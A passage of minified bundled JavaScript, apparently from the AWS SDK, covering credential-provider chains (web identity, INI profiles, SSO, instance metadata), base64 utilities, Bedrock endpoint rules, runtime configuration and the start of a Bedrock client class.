0)Y=q;A[Y]=K[q]}),oi5=nb&&nb.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),ai5=nb&&nb.__importStar||function(){var A=function(K){return A=Object.getOwnPropertyNames||function(q){var Y=[];for(var z in q)if(Object.prototype.hasOwnProperty.call(q,z))Y[Y.length]=z;return Y},A(K)};return function(K){if(K&&K.__esModule)return K;var q={};if(K!=null){for(var Y=A(K),z=0;z<Y.length;z++)if(Y[z]!=="default")ri5(q,K,Y[z])}return oi5(q,K),q}}();Object.defineProperty(nb,"__esModule",{value:!0});nb.fromWebToken=void 0;var si5=(A)=>async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-web-identity - fromWebToken");let{roleArn:q,roleSessionName:Y,webIdentityToken:z,providerId:w,policyArns:H,policy:J,durationSeconds:O}=A,{roleAssumerWithWebIdentity:X}=A;if(!X){let{getDefaultRoleAssumerWithWebIdentity:$}=await Promise.resolve().then(()=>ai5(s81()));X=$({...A.clientConfig,credentialProviderLogger:A.logger,parentClientConfig:{...K?.callerClientConfig,...A.parentClientConfig}},A.clientPlugins)}return X({RoleArn:q,RoleSessionName:Y??`aws-sdk-js-session-${Date.now()}`,WebIdentityToken:z,ProviderId:w,PolicyArns:H,Policy:J,DurationSeconds:O})};nb.fromWebToken=si5});var ga8=v((Ba8)=>{Object.defineProperty(Ba8,"__esModule",{value:!0});Ba8.fromTokenFile=void 0;var ti5=fV(),ei5=dX(),An5=pb(),Kn5=CA("fs"),qn5=vs1(),ua8="AWS_WEB_IDENTITY_TOKEN_FILE",Yn5="AWS_ROLE_ARN",zn5="AWS_ROLE_SESSION_NAME",wn5=(A={})=>async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-web-identity - fromTokenFile");let q=A?.webIdentityTokenFile??process.env[ua8],Y=A?.roleArn??process.env[Yn5],z=A?.roleSessionName??process.env[zn5];if(!q||!Y)throw new ei5.CredentialsProviderError("Web identity configuration not specified",{logger:A.logger});let w=await(0,qn5.fromWebToken)({...A,webIdentityToken:An5.externalDataInterceptor?.getTokenRecord?.()[q]??(0,Kn5.readFileSync)(q,{encoding:"ascii"}),roleArn:Y,roleSessionName:z})(K);if(q===process.env[ua8])(0,ti5.setCredentialFeature)(w,"CREDENTIALS_ENV_VARS_STS_WEB_ID_TOKEN","h");return w};Ba8.fromTokenFile=wn5});var PLA=v((MLA)=>{var Fa8=ga8(),Qa8=vs1();Object.keys(Fa8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(MLA,A))Object.defineProperty(MLA,A,{enumerable:!0,get:function(){return Fa8[A]}})});Object.keys(Qa8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(MLA,A))Object.defineProperty(MLA,A,{enumerable:!0,get:function(){return Qa8[A]}})})});var Cs1=v((Nn5)=>{var ks1=pb(),VLA=dX(),wQ=fV(),Hn5=zs1(),Jn5=(A,K,q)=>{let Y={EcsContainer:async(z)=>{let{fromHttp:w}=await Promise.resolve().then(() => o(X81())),{fromContainerMetadata:H}=await Promise.resolve().then(() => o(K8A()));return q?.debug("@aws-sdk/credential-provider-ini - credential_source is EcsContainer"),async()=>VLA.chain(w(z??{}),H(z))().then(Es1)},Ec2InstanceMetadata:async(z)=>{q?.debug("@aws-sdk/credential-provider-ini - credential_source is Ec2InstanceMetadata");let{fromInstanceMetadata:w}=await Promise.resolve().then(() => o(K8A()));return async()=>w(z)().then(Es1)},Environment:async(z)=>{q?.debug("@aws-sdk/credential-provider-ini - credential_source is Environment");let{fromEnv:w}=await Promise.resolve().then(() => o(w81()));return async()=>w(z)().then(Es1)}};if(A in Y)return Y[A];else throw new VLA.CredentialsProviderError(`Unsupported credential source in profile ${K}. Got ${A}, expected EcsContainer or Ec2InstanceMetadata or Environment.`,{logger:q})},Es1=(A)=>wQ.setCredentialFeature(A,"CREDENTIALS_PROFILE_NAMED_PROVIDER","p"),On5=(A,{profile:K="default",logger:q}={})=>{return Boolean(A)&&typeof A==="object"&&typeof A.role_arn==="string"&&["undefined","string"].indexOf(typeof A.role_session_name)>-1&&["undefined","string"].indexOf(typeof A.external_id)>-1&&["undefined","string"].indexOf(typeof A.mfa_serial)>-1&&(Xn5(A,{profile:K,logger:q})||$n5(A,{profile:K,logger:q}))},Xn5=(A,{profile:K,logger:q})=>{let Y=typeof A.source_profile==="string"&&typeof A.credential_source>"u";if(Y)q?.debug?.(` ${K} isAssumeRoleWithSourceProfile source_profile=${A.source_profile}`);return Y},$n5=(A,{profile:K,logger:q})=>{let Y=typeof A.credential_source==="string"&&typeof A.source_profile>"u";if(Y)q?.debug?.(` ${K} isCredentialSourceProfile credential_source=${A.credential_source}`);return Y},_n5=async(A,K,q,Y={},z)=>{q.logger?.debug("@aws-sdk/credential-provider-ini - resolveAssumeRoleCredentials (STS)");let w=K[A],{source_profile:H,region:J}=w;if(!q.roleAssumer){let{getDefaultRoleAssumer:X}=await Promise.resolve().then(() => o(s81()));q.roleAssumer=X({...q.clientConfig,credentialProviderLogger:q.logger,parentClientConfig:{...q?.parentClientConfig,region:J??q?.parentClientConfig?.region}},q.clientPlugins)}if(H&&H in Y)throw new VLA.CredentialsProviderError(`Detected a cycle attempting to resolve credentials for profile ${ks1.getProfileName(q)}. Profiles visited: `+Object.keys(Y).join(", "),{logger:q.logger});q.logger?.debug(`@aws-sdk/credential-provider-ini - finding credential resolver using ${H?`source_profile=[${H}]`:`profile=[${A}]`}`);let O=H?z(H,K,q,{...Y,[H]:!0},Ua8(K[H]??{})):(await Jn5(w.credential_source,A,q.logger)(q))();if(Ua8(w))return O.then((X)=>wQ.setCredentialFeature(X,"CREDENTIALS_PROFILE_SOURCE_PROFILE","o"));else{let X={RoleArn:w.role_arn,RoleSessionName:w.role_session_name||`aws-sdk-js-${Date.now()}`,ExternalId:w.external_id,DurationSeconds:parseInt(w.duration_seconds||"3600",10)},{mfa_serial:$}=w;if($){if(!q.mfaCodeProvider)throw new VLA.CredentialsProviderError(`Profile ${A} requires multi-factor authentication, but no MFA code callback was provided.`,{logger:q.logger,tryNextLink:!1});X.SerialNumber=$,X.TokenCode=await q.mfaCodeProvider($)}let _=await O;return q.roleAssumer(_,X).then((G)=>wQ.setCredentialFeature(G,"CREDENTIALS_PROFILE_SOURCE_PROFILE","o"))}},Ua8=(A)=>{return!A.role_arn&&!!A.credential_source},Gn5=(A)=>{return Boolean(A&&A.login_session)},Zn5=async(A,K)=>{let q=await Hn5.fromLoginCredentials({...K,profile:A})();return wQ.setCredentialFeature(q,"CREDENTIALS_PROFILE_LOGIN","AC")},Wn5=(A)=>Boolean(A)&&typeof A==="object"&&typeof A.credential_process==="string",Dn5=async(A,K)=>Promise.resolve().then(() => o(t81())).then(({fromProcess:q})=>q({...A,profile:K})().then((Y)=>wQ.setCredentialFeature(Y,"CREDENTIALS_PROFILE_PROCESS","v"))),jn5=async(A,K,q={})=>{let{fromSSO:Y}=await Promise.resolve().then(() => o(g81()));return Y({profile:A,logger:q.logger,parentClientConfig:q.parentClientConfig,clientConfig:q.clientConfig})().then((z)=>{if(K.sso_session)return wQ.setCredentialFeature(z,"CREDENTIALS_PROFILE_SSO","r");else return wQ.setCredentialFeature(z,"CREDENTIALS_PROFILE_SSO_LEGACY","t")})},Mn5=(A)=>A&&(typeof A.sso_start_url==="string"||typeof A.sso_account_id==="string"||typeof A.sso_session==="string"||typeof A.sso_region==="string"||typeof A.sso_role_name==="string"),pa8=(A)=>Boolean(A)&&typeof A==="object"&&typeof A.aws_access_key_id==="string"&&typeof A.aws_secret_access_key==="string"&&["undefined","string"].indexOf(typeof A.aws_session_token)>-1&&["undefined","string"].indexOf(typeof A.aws_account_id)>-1,da8=async(A,K)=>{K?.logger?.debug("@aws-sdk/credential-provider-ini - resolveStaticCredentials");let q={accessKeyId:A.aws_access_key_id,secretAccessKey:A.aws_secret_access_key,sessionToken:A.aws_session_token,...A.aws_credential_scope&&{credentialScope:A.aws_credential_scope},...A.aws_account_id&&{accountId:A.aws_account_id}};return wQ.setCredentialFeature(q,"CREDENTIALS_PROFILE","n")},Pn5=(A)=>Boolean(A)&&typeof A==="object"&&typeof A.web_identity_token_file==="string"&&typeof A.role_arn==="string"&&["undefined","string"].indexOf(typeof A.role_session_name)>-1,Vn5=async(A,K)=>Promise.resolve().then(() => o(PLA())).then(({fromTokenFile:q})=>q({webIdentityTokenFile:A.web_identity_token_file,roleArn:A.role_arn,roleSessionName:A.role_session_name,roleAssumerWithWebIdentity:K.roleAssumerWithWebIdentity,logger:K.logger,parentClientConfig:K.parentClientConfig})().then((Y)=>wQ.setCredentialFeature(Y,"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN","q"))),ca8=async(A,K,q,Y={},z=!1)=>{let w=K[A];if(Object.keys(Y).length>0&&pa8(w))return da8(w,q);if(z||On5(w,{profile:A,logger:q.logger}))return _n5(A,K,q,Y,ca8);if(pa8(w))return da8(w,q);if(Pn5(w))return Vn5(w,q);if(Wn5(w))return Dn5(q,A);if(Mn5(w))return await jn5(A,w,q);if(Gn5(w))return Zn5(A,q);throw new VLA.CredentialsProviderError(`Could not resolve credentials using profile: [${A}] in configuration/credentials file(s).`,{logger:q.logger})},fn5=(A={})=>async({callerClientConfig:K}={})=>{let q={...A,parentClientConfig:{...K,...A.parentClientConfig}};q.logger?.debug("@aws-sdk/credential-provider-ini - fromIni");let Y=await ks1.parseKnownFiles(q);return ca8(ks1.getProfileName({profile:A.profile??K?.profile}),Y,q)};Nn5.fromIni=fn5});var W8A=v((yn5)=>{var Ls1=w81(),fLA=dX(),vn5=pb(),la8="AWS_EC2_METADATA_DISABLED",En5=async(A)=>{let{ENV_CMDS_FULL_URI:K,ENV_CMDS_RELATIVE_URI:q,fromContainerMetadata:Y,fromInstanceMetadata:z}=await Promise.resolve().then(() => o(K8A()));if(process.env[q]||process.env[K]){A.logger?.debug("@aws-sdk/credential-provider-node - remoteProvider::fromHttp/fromContainerMetadata");let{fromHttp:w}=await Promise.resolve().then(() => o(X81()));return fLA.chain(w(A),Y(A))}if(process.env[la8]&&process.env[la8]!=="false")return async()=>{throw new fLA.CredentialsProviderError("EC2 Instance Metadata Service access disabled",{logger:A.logger})};return A.logger?.debug("@aws-sdk/credential-provider-node - remoteProvider::fromInstanceMetadata"),z(A)};function kn5(A,K){let q=Cn5(A),Y,z,w,H=async(J)=>{if(J?.forceRefresh)return await q(J);if(w?.expiration){if(w?.expiration?.getTime()<Date.now())w=void 0}if(Y)await Y;else if(!w||K?.(w))if(w){if(!z)z=q(J).then((O)=>{w=O,z=void 0})}else return Y=q(J).then((O)=>{w=O,Y=void 0}),H(J);return w};return H}var Cn5=(A)=>async(K)=>{let q;for(let Y of A)try{return await Y(K)}catch(z){if(q=z,z?.tryNextLink)continue;throw z}throw q},ia8=!1,Ln5=(A={})=>kn5([async()=>{if(A.profile??process.env[vn5.ENV_PROFILE]){if(process.env[Ls1.ENV_KEY]&&process.env[Ls1.ENV_SECRET]){if(!ia8)(A.logger?.warn&&A.logger?.constructor?.name!=="NoOpLogger"?A.logger.warn.bind(A.logger):console.warn)(`@aws-sdk/credential-provider-node - defaultProvider::fromEnv WARNING: Multiple credential sources detected: Both AWS_PROFILE and the pair AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY static credentials are set. This SDK will proceed with the AWS_PROFILE value. However, a future version may change this behavior to prefer the ENV static credentials. Please ensure that your environment only sets either the AWS_PROFILE or the AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY pair. `),ia8=!0}throw new fLA.CredentialsProviderError("AWS_PROFILE is set, skipping fromEnv provider.",{logger:A.logger,tryNextLink:!0})}return A.logger?.debug("@aws-sdk/credential-provider-node - defaultProvider::fromEnv"),Ls1.fromEnv(A)()},async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-node - defaultProvider::fromSSO");let{ssoStartUrl:q,ssoAccountId:Y,ssoRegion:z,ssoRoleName:w,ssoSession:H}=A;if(!q&&!Y&&!z&&!w&&!H)throw new fLA.CredentialsProviderError("Skipping SSO provider in default chain (inputs do not include SSO fields).",{logger:A.logger});let{fromSSO:J}=await Promise.resolve().then(() => o(g81()));return J(A)(K)},async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-node - defaultProvider::fromIni");let{fromIni:q}=await Promise.resolve().then(() => o(Cs1()));return q(A)(K)},async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-node - defaultProvider::fromProcess");let{fromProcess:q}=await Promise.resolve().then(() => o(t81()));return q(A)(K)},async(K)=>{A.logger?.debug("@aws-sdk/credential-provider-node - defaultProvider::fromTokenFile");let{fromTokenFile:q}=await Promise.resolve().then(() => o(PLA()));return q(A)(K)},async()=>{return A.logger?.debug("@aws-sdk/credential-provider-node - defaultProvider::remoteProvider"),(await En5(A))()},async()=>{throw new fLA.CredentialsProviderError("Could not load credentials from any providers",{tryNextLink:!1,logger:A.logger})}],na8),Rn5=(A)=>A?.expiration!==void 0,na8=(A)=>A?.expiration!==void 0&&A.expiration.getTime()-Date.now()<300000;yn5.credentialsTreatedAsExpired=na8;yn5.credentialsWillNeedRefresh=Rn5;yn5.defaultProvider=Ln5});var ra8=v((xn5)=>{var bn5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";xn5.isArrayBuffer=bn5});var ys1=v((Fn5)=>{var Bn5=ra8(),Rs1=CA("buffer"),mn5=(A,K=0,q=A.byteLength-K)=>{if(!Bn5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Rs1.Buffer.from(A,K,q)},gn5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Rs1.Buffer.from(A,K):Rs1.Buffer.from(A)};Fn5.fromArrayBuffer=mn5;Fn5.fromString=gn5});var sa8=v((oa8)=>{Object.defineProperty(oa8,"__esModule",{value:!0});oa8.fromBase64=void 0;var pn5=ys1(),dn5=/^[A-Za-z0-9+/]*={0,2}$/,cn5=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!dn5.exec(A))throw TypeError("Invalid base64 string.");let K=(0,pn5.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};oa8.fromBase64=cn5});var As8=v((ta8)=>{Object.defineProperty(ta8,"__esModule",{value:!0});ta8.toBase64=void 0;var ln5=ys1(),in5=_z(),nn5=(A)=>{let K;if(typeof A==="string")K=(0,in5.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,ln5.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};ta8.toBase64=nn5});var Ys8=v((NLA)=>{var Ks8=sa8(),qs8=As8();Object.keys(Ks8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(NLA,A))Object.defineProperty(NLA,A,{enumerable:!0,get:function(){return Ks8[A]}})});Object.keys(qs8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(NLA,A))Object.defineProperty(NLA,A,{enumerable:!0,get:function(){return qs8[A]}})})});var Vs8=v((Ms8)=>{Object.defineProperty(Ms8,"__esModule",{value:!0});Ms8.ruleSet=void 0;var Ws8="required",ob="fn",ab="argv",gOA="ref",zs8=!0,ws8="isSet",vLA="booleanEquals",mOA="error",TLA="endpoint",KM="tree",Is1="PartitionResult",Hs8={[Ws8]:!1,type:"string"},Js8={[Ws8]:!0,default:!1,type:"boolean"},Os8={[gOA]:"Endpoint"},Ds8={[ob]:vLA,[ab]:[{[gOA]:"UseFIPS"},!0]},js8={[ob]:vLA,[ab]:[{[gOA]:"UseDualStack"},!0]},rb={},Xs8={[ob]:"getAttr",[ab]:[{[gOA]:Is1},"supportsFIPS"]},$s8={[ob]:vLA,[ab]:[!0,{[ob]:"getAttr",[ab]:[{[gOA]:Is1},"supportsDualStack"]}]},_s8=[Ds8],Gs8=[js8],Zs8=[{[gOA]:"Region"}],rn5={version:"1.0",parameters:{Region:Hs8,UseDualStack:Js8,UseFIPS:Js8,Endpoint:Hs8},rules:[{conditions:[{[ob]:ws8,[ab]:[Os8]}],rules:[{conditions:_s8,error:"Invalid Configuration: FIPS and custom endpoint are not supported",type:mOA},{rules:[{conditions:Gs8,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",type:mOA},{endpoint:{url:Os8,properties:rb,headers:rb},type:TLA}],type:KM}],type:KM},{rules:[{conditions:[{[ob]:ws8,[ab]:Zs8}],rules:[{conditions:[{[ob]:"aws.partition",[ab]:Zs8,assign:Is1}],rules:[{conditions:[Ds8,js8],rules:[{conditions:[{[ob]:vLA,[ab]:[zs8,Xs8]},$s8],rules:[{rules:[{endpoint:{url:"https://bedrock-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:rb,headers:rb},type:TLA}],type:KM}],type:KM},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",type:mOA}],type:KM},{conditions:_s8,rules:[{conditions:[{[ob]:vLA,[ab]:[Xs8,zs8]}],rules:[{rules:[{endpoint:{url:"https://bedrock-fips.{Region}.{PartitionResult#dnsSuffix}",properties:rb,headers:rb},type:TLA}],type:KM}],type:KM},{error:"FIPS is enabled but this partition does not support FIPS",type:mOA}],type:KM},{conditions:Gs8,rules:[{conditions:[$s8],rules:[{rules:[{endpoint:{url:"https://bedrock.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:rb,headers:rb},type:TLA}],type:KM}],type:KM},{error:"DualStack is enabled but this partition does not support DualStack",type:mOA}],type:KM},{rules:[{endpoint:{url:"https://bedrock.{Region}.{PartitionResult#dnsSuffix}",properties:rb,headers:rb},type:TLA}],type:KM}],type:KM}],type:KM},{error:"Invalid Configuration: Missing Region",type:mOA}],type:KM}]};Ms8.ruleSet=rn5});var Ts8=v((fs8)=>{Object.defineProperty(fs8,"__esModule",{value:!0});fs8.defaultEndpointResolver=void 0;var on5=gb(),Ss1=Ky(),an5=Vs8(),sn5=new Ss1.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS"]}),tn5=(A,K={})=>{return sn5.get(A,()=>(0,Ss1.resolveEndpoint)(an5.ruleSet,{endpointParams:A,logger:K.logger}))};fs8.defaultEndpointResolver=tn5;Ss1.customEndpointFunctions.aws=on5.awsEndpointFunctions});var Ls8=v((ks8)=>{Object.defineProperty(ks8,"__esModule",{value:!0});ks8.getRuntimeConfig=void 0;var en5=aw(),Ar5=eF(),Kr5=Gz(),qr5=oCA(),Yr5=tE(),vs8=Ys8(),Es8=_z(),zr5=er1(),wr5=Ts8(),Hr5=(A)=>{return{apiVersion:"2023-04-20",base64Decoder:A?.base64Decoder??vs8.fromBase64,base64Encoder:A?.base64Encoder??vs8.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??wr5.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??zr5.defaultBedrockHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new en5.AwsSdkSigV4Signer},{schemeId:"smithy.api#httpBearerAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#httpBearerAuth"),signer:new Kr5.HttpBearerAuthSigner}],logger:A?.logger??new qr5.NoOpLogger,protocol:A?.protocol??new Ar5.AwsRestJsonProtocol({defaultNamespace:"com.amazonaws.bedrock"}),serviceId:A?.serviceId??"Bedrock",urlParser:A?.urlParser??Yr5.parseUrl,utf8Decoder:A?.utf8Decoder??Es8.fromUtf8,utf8Encoder:A?.utf8Encoder??Es8.toUtf8}};ks8.getRuntimeConfig=Hr5});var xs8=v((hs8)=>{Object.defineProperty(hs8,"__esModule",{value:!0});hs8.getRuntimeConfig=void 0;var Jr5=Uz(),Or5=Jr5.__importDefault(Wd8()),hs1=aw(),Xr5=W8A(),Rs8=V81(),ys8=oF(),e81=l0(),$r5=Gz(),_r5=aF(),Is8=kZ(),D8A=NV(),Ss8=zT(),Gr5=sF(),Zr5=db(),Wr5=Ls8(),Dr5=oCA(),jr5=KQ(),Mr5=oCA(),Pr5=(A)=>{(0,Mr5.emitWarningIfUnsupportedVersion)(process.version);let K=(0,jr5.resolveDefaultsModeConfig)(A),q=()=>K().then(Dr5.loadConfigsForDefaultMode),Y=(0,Wr5.getRuntimeConfig)(A);(0,hs1.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger,signingName:"bedrock"};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,D8A.loadConfig)(hs1.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??Gr5.calculateBodyLength,credentialDefaultProvider:A?.credentialDefaultProvider??Xr5.defaultProvider,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,ys8.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:Or5.default.version}),httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(w)=>w.getIdentityProvider("aws.auth#sigv4"),signer:new hs1.AwsSdkSigV4Signer},{schemeId:"smithy.api#httpBearerAuth",identityProvider:(w)=>w.getIdentityProvider("smithy.api#httpBearerAuth")||(async(H)=>{try{return await(0,Rs8.fromEnvSigningName)({signingName:"bedrock"})()}catch(J){return await(0,Rs8.nodeProvider)(H)(H)}}),signer:new $r5.HttpBearerAuthSigner}],maxAttempts:A?.maxAttempts??(0,D8A.loadConfig)(Is8.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,D8A.loadConfig)(e81.NODE_REGION_CONFIG_OPTIONS,{...e81.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:Ss8.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,D8A.loadConfig)({...Is8.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||Zr5.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??_r5.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??Ss8.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,D8A.loadConfig)(e81.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,D8A.loadConfig)(e81.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,D8A.loadConfig)(ys8.NODE_APP_ID_CONFIG_OPTIONS,z)}};hs8.getRuntimeConfig=Pr5});var gs8=v((Er5)=>{var Vr5=cr1(),fr5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},Nr5=(A)=>{return{httpHandler:A.httpHandler()}};class us8{name;kind;values;constructor({name:A,kind:K=Vr5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class Bs8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class A41{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new A41({...A,headers:{...A.headers}});if(K.query)K.query=Tr5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return A41.clone(this)}}function Tr5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class ms8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function vr5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}Er5.Field=us8;Er5.Fields=Bs8;Er5.HttpRequest=A41;Er5.HttpResponse=ms8;Er5.getHttpHandlerExtensionConfiguration=fr5;Er5.isValidHostname=vr5;Er5.resolveHttpHandlerRuntimeConfig=Nr5});var q14=v((XA6)=>{var Fs8=BF(),hr5=mF(),br5=gF(),Qs8=Ub(),xr5=l0(),cX=Gz(),Jk=DJ(),ur5=rF(),i8=qy(),Us8=kZ(),g8=oCA(),ps8=er1(),Br5=xs8(),ds8=Yy(),cs8=gs8(),mr5=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,defaultSigningName:"bedrock"})},o8={UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}},gr5=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y,token:z}=A;return{setHttpAuthScheme(w){let H=K.findIndex((J)=>J.schemeId===w.schemeId);if(H===-1)K.push(w);else K.splice(H,1,w)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(w){q=w},httpAuthSchemeProvider(){return q},setCredentials(w){Y=w},credentials(){return Y},setToken(w){z=w},token(){return z}}},Fr5=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials(),token:A.token()}},Qr5=(A,K)=>{let q=Object.assign(ds8.getAwsRegionExtensionConfiguration(A),g8.getDefaultExtensionConfiguration(A),cs8.getHttpHandlerExtensionConfiguration(A),gr5(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,ds8.resolveAwsRegionExtensionConfiguration(q),g8.resolveDefaultRuntimeConfig(q),cs8.resolveHttpHandlerRuntimeConfig(q),Fr5(q))};class iX extends g8.Client{config;constructor(...[A]){let K=Br5.getRuntimeConfig(A||{});super(K);this.initConfig=K;let q=mr5(K),Y=Qs8.resolveUserAgentConfig(q),z=Us8.resolveRetryConfig(Y),w=xr5.resolveRegionConfig(z),H=Fs8.resolveHostHeaderConfig(w),J=i8.resolveEndpointConfig(H),O=ps8.resolveHttpAuthSchemeConfig(J),X=Qr5(O,A?.extensions||[]);this.config=X,this.middlewareStack.use(Jk.getSchemaSerdePlugin(this.config)),this.middlewareStack.use(Qs8.getUserAgentPlugin(this.config)),this.middlewareStack.use(Us8.getRetryPlugin(this.config)),this.middlewareStack.use(ur5.getContentLengthPlugin(this.config)),this.middlewareStack.use(Fs8.getHostHeaderPlugin(this.config)),this.middlewareStack.use(hr5.getLoggerPlugin(this.config)),this.middlewareStack.use(br5.getRecursionDetectionPlugin(this.config)),this.middlewareStack.use(cX.getHttpAuthSchemeEndpointRuleSetPlugin(this.config,{httpAuthSchemeParametersProvider:ps8.defaultBedrockHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new cX.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials,"smithy.api#httpBearerAuth":$.token})})),this.middlewareStack.use(cX.getHttpSigningPlugin(this.config))}destroy(){super.destroy()}}var Ok=class A extends g8.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},Gt8=class A extends Ok{name="AccessDeniedException";$fault="client";constructor(K){super({name:"AccessDeniedException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Zt8=class A extends Ok{name="InternalServerException";$fault="server";constructor(K){super({name:"InternalServerException",$fault:"server",...K});Object.setPrototypeOf(this,A.prototype)}},Wt8=class A extends Ok{name="ResourceNotFoundException";$fault="client";constructor(K){super({name:"ResourceNotFoundException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Dt8=class A extends Ok{name="ThrottlingException";$fault="client";constructor(K){super({name:"ThrottlingException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},jt8=class A extends Ok{name="ValidationException";$fault="client";constructor(K){super({name:"ValidationException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Mt8=class A extends Ok{name="ConflictException";$fault="client";constructor(K){super({name:"ConflictException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Pt8=class A extends Ok{name="ServiceQuotaExceededException";$fault="client";constructor(K){super({name:"ServiceQuotaExceededException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Vt8=class A extends 